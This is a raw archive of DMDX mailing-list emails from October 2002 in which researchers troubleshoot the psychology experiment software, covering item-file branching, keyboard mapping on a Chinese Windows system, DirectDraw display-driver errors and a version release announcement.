> > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 19:08:54 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9J1nZMS026196 for ; Fri, 18 Oct 2002 18:49:35 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3DB002AD0001CC8C for DMDX@psy1.psych.arizona.edu; Fri, 18 Oct 2002 18:46:42 -0700 Message-Id: <5.1.0.14.2.20021018184434.00b12878@psy1.psych.arizona.edu> Date: Fri, 18 Oct 2002 18:46:39 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: branching/scrambling In-Reply-To: <5.1.0.14.2.20021018133125.00b132d0@psy1.psych.arizona.edu> References: <000501c276dd$2df6e380$17669a89@archb1vvblbiks> <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> <5.1.0.14.2.20021018084446.00b12878@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:41 PM 10/18/2002 -0700, you wrote: Of course, I'd have semi-colons on the end of those items: >S1 G3 N40 etc >$ >0 ""instructions""; >$ > >+1 *""first q"" ; <<<<<<<<<< >+2 *""second q""; >~0; > >+10 *""second first q"" ; <<<<<<<< >+20 *""second second q""; >~0; And of course we want to call backwards so those item numbers would be negative (and there'd be semi colons too): >S1 N40 etc >$ >0 ""instructions"" ; >+990 *""common second q"" ; >~999; >$ > >+1 *""first q"" ; <<<<<<<<<<<<< > >+10 *""second first q"" ; <<<<<<<<<< /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 02:08:29 2002 Received: from ws3-3.us4.outblaze.com (205-158-62-93.outblaze.com [205.158.62.93]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9J97nMS026912 for ; Sat, 19 Oct 2002 02:07:50 -0700 Received: (qmail 27185 invoked by uid 1001); 19 Oct 2002 09:04:51 -0000 Message-ID: <20021019090451.27182.qmail@email.com> Content-Type: text/plain; charset=""ISO-8859-15; format=flowed"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-3.us4.outblaze.com with http for wgm-psy@email.com; Sat, 19 Oct 2002 04:04:51 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Sat, 19 Oct 2002 04:04:51 -0500 Subject: [DMDX] Re: Why DMDX didn't go on? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you, Ruben van de Vijver! I've try your methed--""dmdx.exe -buffers 4"", But I'm sorry to say it doesn't work in my case. And I also try another buffers but it still doesn't work. And I'm not clear what's mean to do this. My display card is ""Trident Blade 3D PCI/AGP"", not the Geforce card. So I think It's not because of this reasone. Thank you for your help anyway. G.M Wang ----- Original Message ----- From: ruben van de vijver Date: Fri, 18 Oct 2002 14:11:08 +0200 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Why DMDX didn't go on? > Hallo Wang, > > I think I have had a similar problem. Let me describe it briefly: I run > the features.rtf file that comes in the demo.zip folder you get when you > download DMDX. The program went through the instructions and as soon as > it arrived at the first stimulus item the computer froze completely: not > even pressing ctrl alt del helped. > > I looked at the archived messages and I found that that happens if you > have a certain video card (a GeForce I think). I would refer you to the > List server thread, but when I try to search it now I get an internal > error message. > > Anyway, you might want to try and start your program from the command > line with this command: ""dmdx.exe -buffers 4"". In my case it worked. > > hope this helps, > > Ruben van de Vijver > > > wang gm wrote: > > >Hello everyone, > > > >This is a letter from China. > >I'm using DMDX to set up an experiment about display the text and sound, But I encounter a problem that I can't solve it by myself. > >The problem is that I build a item file like below, all thing to be fine. But when I run it with DMDX, It only display the first ""Welcome to this program"", then it can't go on even I press the space button and other keys. > > > >Why it didn't go on anyway? Please tell me the answer, Thank you very much! > > > >G.M. Wang > >____________________________ > > > >This is part of my item file: > > > > > >$ > >0 ""Welcome to this program""; > >250/; > > > >0 ""This is the practice""; > >250/; > >$ > >+1 ""+""/ ""puretone5000""// * ""puretone500""/; > >250/; > >+2 ""+""/ ""puretone5000""// * ""puretone500""/; > >250/; > >+193 ""+""/ ""puretone500""/ / * /; > >250/; > >+3 ""+""/ ""puretone7000""// * ""puretone700""/; > >250/; > >+4 ""+""/ ""puretone7000""// * ""puretone700""/; > >250/; > >+194 ""+""/ ""puretone700""/ / * /; > >250/; > >0 ""End of the practice""; > > -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 02:17:06 2002 Received: from ws3-2.us4.outblaze.com (205-158-62-92.outblaze.com [205.158.62.92]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9J9H3MS026963 for ; Sat, 19 Oct 2002 02:17:03 -0700 Received: (qmail 4690 invoked by uid 1001); 19 Oct 2002 09:14:05 -0000 Message-ID: <20021019091405.4689.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-15"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-2.us4.outblaze.com with http for wgm-psy@email.com; Sat, 19 Oct 2002 04:14:05 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Sat, 19 Oct 2002 04:14:05 -0500 Subject: [DMDX] Re: How to display text and sounds together? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you Mr Forster, I'm read the sound help file carefully, and now I know how to solve this problem, Thank you very much. G.M Wang ----- Original Message ----- From: ""j.c.f."" Date: Fri, 18 Oct 2002 08:27:57 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: How to display text and sounds together? > At 05:03 AM 10/18/2002 -0500, you wrote: > >Hello everybody, > > > >This is a letter from China. > >I'm using DMDX to create a experiment, but I encounter a problem that I > >can't solve it by myself. So I need your help, Thank you. > > > >I want to display a ""+"" in the begin of a item, and then two sounds play > >individually. I especially want the ""+"" to be able to stay on the screen > >when the two sounds are playing. But now I can only display ""+"" for only > >one second(or two seconds), and then the ""+"" DISPEARED when the two sounds > >begin to play. > > How can I display the ""+"" for all the time when the two sounds are > > playing? Please tell me the answer, thank you very much. > > Read the Sound help: > > http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 03:12:40 2002 Received: from ws3-1.us4.outblaze.com (205-158-62-91.outblaze.com [205.158.62.91]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9JABrMS027123 for ; Sat, 19 Oct 2002 03:11:53 -0700 Received: (qmail 12246 invoked by uid 1001); 19 Oct 2002 10:08:54 -0000 Message-ID: <20021019100854.12245.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-15"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-1.us4.outblaze.com with http for wgm-psy@email.com; Sat, 19 Oct 2002 05:08:54 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Sat, 19 Oct 2002 05:08:54 -0500 Subject: [DMDX] Re: Why DMDX didn't go on? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello Mr Forster, The following file is part of my control file. I paste it here so that you can see it more clearly. My display card is ""trident Blade 3D PCI/AGP"", not the Geforce card, and when the program stops, I can Press ESC to abort it. So the reasonse is not display card. $ 0 ""Welcome to this program""; 250/; 0 ""This is the practice""; 250/; $ +1 ""+""/ ""puretone5000""// * ""puretone500""/; 250/; +2 ""+""/ ""puretone5000""// * ""puretone500""/; 250/; +193 ""+""/ ""puretone500""/ / * /; 250/; +3 ""+""/ ""puretone7000""// * ""puretone700""/; 250/; +4 ""+""/ ""puretone7000""// * ""puretone700""/; 250/; +194 ""+""/ ""puretone700""/ / * /; 250/; _______________________________________ ----- Original Message ----- From: ""j.c.f."" Date: Fri, 18 Oct 2002 08:40:19 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Why DMDX didn't go on? > At 04:59 AM 10/18/2002 -0500, you wrote: > >Hello everyone, > > > >This is a letter from China. > >I'm using DMDX to set up an experiment about display the text and sound, > >But I encounter a problem that I can't solve it by myself. > >The problem is that I build a item file like below, all thing to be fine. > >But when I run it with DMDX, It only display the first ""Welcome to this > >program"", then it can't go on even I press the space button and other keys. > > > >Why it didn't go on anyway? Please tell me the answer, Thank you very much! > > > If it's not the GeForce issue are there messages about not being able > to find the ""keyboard"" device in the diagnostics.txt after you abort with > ESC? If you can abort with ESC it's not the GeForce issue as that locks > the machine up solidly. DMDX has trouble with International versions of > Windows where the input devices has been a different name (I'll be writing > a help topic on it shortly). Check the TimeDX Input Device test and help, > you probably need and ""chinese-name-for-space-bar""> and so on. > > BTW, unless you are changing input keys you don't need to and > every item and feedback sticks too, no need for every item either. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 09:46:42 2002 Received: from smtp.infonex.net (smtp.infonex.com [168.143.114.3]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9JGReMS027800 for ; Sat, 19 Oct 2002 09:27:41 -0700 Received: from [212.19.142.123] (cyberpass.net [168.143.113.7]) by smtp.infonex.net (8.11.5/8.11.5) with ESMTP id g9JGOXc09842 for ; Sat, 19 Oct 2002 09:24:38 -0700 (PDT) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> References: <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> Date: Sat, 19 Oct 2002 23:24:07 +0700 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Re: TEST: ignore this please Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've been trying for a few days to send a message to this list, and I'm repeatedly told either that the SMTP server won't relay mail to psy1.psych.arizona.edu or that it cannot find such an address. This test is to determine whether the jpegs attached to that message are at fault, that is, if a simple, brief message will get through. Greg -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it has expired.**** >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 10:15:32 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9JHFHMS027940 for ; Sat, 19 Oct 2002 10:15:17 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB1556F00003FD1 for DMDX@psy1.psych.arizona.edu; Sat, 19 Oct 2002 10:12:23 -0700 Message-Id: <5.1.0.14.2.20021019100954.00b12878@psy1.psych.arizona.edu> Date: Sat, 19 Oct 2002 10:12:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Why DMDX didn't go on? In-Reply-To: <20021019100854.12245.qmail@email.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:08 AM 10/19/2002 -0500, you wrote: >Hello Mr Forster, > >The following file is part of my control file. I paste it here so that you >can see it more clearly. >My display card is ""trident Blade 3D PCI/AGP"", not the Geforce card, and >when the program stops, I can Press ESC to abort it. So the reasonse is >not display card. > > > 1""> 2> >$ >0 ""Welcome to this program""; >250/; So the item file stops here and won't proceed? And the Chinese keyboard has a key called ""Space""? Because DMDX is waiting for the ""Space"" key to be pressed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 10:18:21 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9JHIJMS027968 for ; Sat, 19 Oct 2002 10:18:19 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB1556F000040B6 for DMDX@psy1.psych.arizona.edu; Sat, 19 Oct 2002 10:15:25 -0700 Message-Id: <5.1.0.14.2.20021019101242.00b12878@psy1.psych.arizona.edu> Date: Sat, 19 Oct 2002 10:15:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: TEST: ignore this please In-Reply-To: References: <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:24 PM 10/19/2002 +0700, you wrote: >I've been trying for a few days to send a message to this list, and I'm >repeatedly told either that the SMTP server won't relay mail to >psy1.psych.arizona.edu or that it cannot find such an address. This test >is to determine whether the jpegs attached to that message are at fault, >that is, if a simple, brief message will get through. I did say to not send the mail to the list, I said send it to me: . And, yes, it's probably the attachments that are stopping it but they shouldn't be. You might try sticking them in a .zip instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 19:36:39 2002 Received: from ws3-6.us4.outblaze.com (205-158-62-90.outblaze.com [205.158.62.90]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9K2aJMS028960 for ; Sat, 19 Oct 2002 19:36:20 -0700 Received: (qmail 26855 invoked by uid 1001); 20 Oct 2002 02:33:18 -0000 Message-ID: <20021020023318.26854.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-6.us4.outblaze.com with http for wgm-psy@email.com; Sat, 19 Oct 2002 21:33:17 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Sat, 19 Oct 2002 21:33:17 -0500 Subject: [DMDX] Re: Why DMDX didn't go on? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello Mr Joster, You said the right thing that When the program runs, It will stop at the ""Welcome to this program"", and I can press ESC to abort. Besides, When I run the timeDX--Basic Test--Input Test, I can see clearly that the space button is used, and when I change the request button I meet the same problem also. when I ""Syntx Check"" the itme file, It doesn't tell me that the space button can't be used. So I think it's not because of the button. But Why DMDX can't go on? I'm so confused, please tell me the answer. Thank you. ----- Original Message ----- From: ""j.c.f."" Date: Sat, 19 Oct 2002 10:12:22 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Why DMDX didn't go on? > At 05:08 AM 10/19/2002 -0500, you wrote: > >Hello Mr Forster, > > > >The following file is part of my control file. I paste it here so that you > >can see it more clearly. > >My display card is ""trident Blade 3D PCI/AGP"", not the Geforce card, and > >when the program stops, I can Press ESC to abort it. So the reasonse is > >not display card. > > > > > > >1""> >2> > >$ > >0 ""Welcome to this program""; > >250/; > > So the item file stops here and won't proceed? And the Chinese keyboard > has a key called ""Space""? Because DMDX is waiting for the ""Space"" key to > be pressed. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 21:23:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9K4MrMS029217 for ; Sat, 19 Oct 2002 21:22:53 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB1556F0000FC58 for DMDX@psy1.psych.arizona.edu; Sat, 19 Oct 2002 21:19:57 -0700 Message-Id: <5.1.0.14.2.20021019211310.00b12878@psy1.psych.arizona.edu> Date: Sat, 19 Oct 2002 21:19:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Why DMDX didn't go on? In-Reply-To: <20021020023318.26854.qmail@email.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:33 PM 10/19/2002 -0500, you wrote: >Hello Mr Joster, > >You said the right thing that When the program runs, It will stop at the >""Welcome to this program"", and I can press ESC to abort. >Besides, When I run the timeDX--Basic Test--Input Test, I can see clearly >that the space button is used, and when I change the request button I meet >the same problem also. when I ""Syntx Check"" the itme file, It doesn't >tell me that the space button can't be used. >So I think it's not because of the button. But Why DMDX can't go on? I'm >so confused, please tell me the answer. It's a mystery to me. Sounds like the same problem the guy in Russia is having. Beyond removing the quotes in so it becomes you'll have to wait till next week when I cook up a special diagnostics mode to get to the root of this issue. I suggest removing the quotes because they're only really necessary when there's a space in the name of the key (and in the case of mapping key names they might not even be necessary then, I'd have to closely look at the code) and when the quotes are present all sorts of RTF text formatting issues arise (they should be parsed out, but hey, I'm human). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 19 21:25:23 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9K4PLMS029248 for ; Sat, 19 Oct 2002 21:25:21 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB1556F0000FCC9 for DMDX@psy1.psych.arizona.edu; Sat, 19 Oct 2002 21:22:25 -0700 Message-Id: <5.1.0.14.2.20021019212120.00b12878@psy1.psych.arizona.edu> Date: Sat, 19 Oct 2002 21:22:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Why DMDX didn't go on? In-Reply-To: <20021020023318.26854.qmail@email.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:33 PM 10/19/2002 -0500, you wrote: >So I think it's not because of the button. But Why DMDX can't go on? I'm >so confused, please tell me the answer. My guess is it can't go on because it never gets a request because the mapping of the space bar to the request is not working. Somehow. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 20 02:46:07 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9K9jXMS029838 for ; Sun, 20 Oct 2002 02:45:34 -0700 Received: from archb1vvblbiks ([137.154.102.68]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9K9gY104945 for ; Sun, 20 Oct 2002 19:42:35 +1000 (EST) Message-ID: <001101c2781b$ce386e10$44669a89@archb1vvblbiks> From: ""Arch Tibben"" To: Subject: [DMDX] Directdrawcreate errr Date: Sun, 20 Oct 2002 19:33:51 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000E_01C2786F.9EB302F0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C2786F.9EB302F0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I Have been looking for a solution to the following error message. Directdrawcreate failed DDERR cant create DCs (88760249 windows can not creartemore DCs I am trying to install dmdx on a laptop (Toshiba) I cannot find any reference to this error.=20 I have loaded the latest directX . I though this might solve it however = to no avoil thanks arch ------=_NextPart_000_000E_01C2786F.9EB302F0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi  I Have been looking for a = solution to the=20 following error message.   Directdrawcreate failed DDERR cant create DCs = (88760249 windows can not creartemore = DCs   I am trying to install dmdx on a laptop = (Toshiba) I cannot find any reference to this = error.=20 I have loaded the latest directX . I = though this=20 might solve it however to no avoil   thanks arch ------=_NextPart_000_000E_01C2786F.9EB302F0-- >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 20 12:53:00 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9KJXHMS030968 for ; Sun, 20 Oct 2002 12:33:17 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB1556F0001CE21 for DMDX@psy1.psych.arizona.edu; Sun, 20 Oct 2002 12:30:19 -0700 Message-Id: <5.1.0.14.2.20021020122910.00b12878@psy1.psych.arizona.edu> Date: Sun, 20 Oct 2002 12:30:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Directdrawcreate errr In-Reply-To: <001101c2781b$ce386e10$44669a89@archb1vvblbiks> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:33 PM 10/20/2002 +1000, you wrote: >Hi I Have been looking for a solution to the following error message. > >Directdrawcreate failed >DDERR cant create DCs (88760249 >windows can not creartemore DCs > >I am trying to install dmdx on a laptop (Toshiba) >I cannot find any reference to this error. >I have loaded the latest directX . I though this might solve it however to >no avoil > You need the latest display drivers. If Toshiba doesn't supply any you'll have to find out what chipset is used for it's video and get the manufacturer's reference drivers. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 20 13:04:11 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9KK45MS031091 for ; Sun, 20 Oct 2002 13:04:06 -0700 Received: from archb1vvblbiks ([137.154.102.68]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9KK16127315 for ; Mon, 21 Oct 2002 06:01:06 +1000 (EST) Message-ID: <001501c27872$376adbb0$44669a89@archb1vvblbiks> From: ""Arch Tibben"" To: Subject: [DMDX] Direcr draw prob Date: Mon, 21 Oct 2002 05:52:25 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0012_01C278C6.082EAE90"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C278C6.082EAE90 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am using the trident cybernetic9525DVD PCIi/AGP W98 Driver on a = TOSHIBA 2590. The indication seems to be that the graphics card for this machine is = incompatible with DMDX (Blit). can anyone verify this please? arch ------=_NextPart_000_0012_01C278C6.082EAE90 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am using the trident = cybernetic9525DVD =20 PCIi/AGP W98 Driver on a TOSHIBA 2590. The  indication seems to be that = the graphics=20 card for this machine is incompatible with DMDX (Blit). can anyone verify this = please?   arch   ------=_NextPart_000_0012_01C278C6.082EAE90-- >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 21 12:28:09 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9LJRbMS001157 for ; Mon, 21 Oct 2002 12:27:40 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DB3F6F80001094C for DMDX@psy1.psych.arizona.edu; Mon, 21 Oct 2002 12:24:36 -0700 Message-Id: <5.1.0.14.2.20021021121825.00b132e0@psy1.psych.arizona.edu> Date: Mon, 21 Oct 2002 12:24:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.05 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 3.0.0.05 is released, it includes the new .CHM help file and a new test mode for Input Device button monitoring. With TestMode 10 active any new input devices will list all their buttons in the diagnostics (both on screen and in diagnostics.txt), any button mappings in the item file will be listed and as buttons are pressed their names will be listed. Along with the human readable name the decimal values of each character in the button name are listed to facilitate any weird font issues. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 21 16:08:26 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9LN7CMS001615 for ; Mon, 21 Oct 2002 16:07:13 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9LN4A123144 for ; Tue, 22 Oct 2002 09:04:10 +1000 (EST) Message-ID: <001501c27957$34a15860$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: Subject: [DMDX] write to o/p file Date: Tue, 22 Oct 2002 09:11:36 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0012_01C279AB.05D949D0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C279AB.05D949D0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I'm trying to get my existing programs running on another system.=20 1) An continual error that I encounter is ""Write to output file failed = Disk Full. =20 2) Another is pixel incompatibility when setting up on another laptop. I have run timdx and tried to fine tune the sleep and retrace times.=20 I think I am missing the point somewhere in this procedure =20 arch ------=_NextPart_000_0012_01C279AB.05D949D0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I'm trying to get my existing programs = running on=20 another system.    1) An continual error that I encounter = is ""Write=20 to output file failed  Disk Full.   2)  Another is pixel=20 incompatibility  when setting up on another = laptop. I have run timdx and tried to fine tune = the sleep=20 and retrace times.     I think I am missing the = point somewhere in=20 this procedure  arch  ------=_NextPart_000_0012_01C279AB.05D949D0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 21 17:34:23 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9M0K2MS001916 for ; Mon, 21 Oct 2002 17:20:02 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DB3F6F80001E6C8 for DMDX@psy1.psych.arizona.edu; Mon, 21 